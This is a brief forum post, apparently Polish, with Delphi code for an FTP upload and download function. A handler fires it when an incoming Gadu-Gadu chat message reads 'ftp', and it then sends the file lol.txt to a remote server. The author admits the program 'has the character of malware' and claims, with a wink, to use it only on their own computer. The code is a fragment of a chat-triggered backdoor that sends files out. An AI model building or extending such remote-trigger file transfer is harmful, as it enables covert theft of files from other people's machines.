function FileFTP(FileName, Login, Haslo, Host: String; Port: Integer; Pobierz: Boolean): String;
var FTP: TidFTP;
begin FTP:=TidFTP.Create(nil);
try result:='Błąd podczas łączenia z: '+Host+': '+IntToStr(Port);
FTP.Host:=Host; FTP.Port:=Port;
FTP.Username:=Login; FTP.Password:=Haslo;
FTP.Connect; if FTP.Connected then Result:='Prawidłowo połączono z: '+Host+': '+IntToStr(Port);
if FTP.Connected then if not Pobierz then FTP.Put(FileName, ExtractFileName(FileName)) else
FTP.Get(ExtractFileName(FileName), FileName);
finally FTP.Disconnect; end;
end;
procedure TForm1.Memo1Change(Sender: TObject);
begin
if Memo1.Lines.Strings[0]=('ftp') then begin
FileFTP('lol.txt','login','haslo','host',21,false);
end;
end;
Memo1 pobiera treść wiadomości gg, jak jest równe 'ftp' to wysyła plik lol.txt na serwer.
Program faktycznie ma charakter malware, ale używam go tylko do zdalnego sterowanie własnym komputerem ;)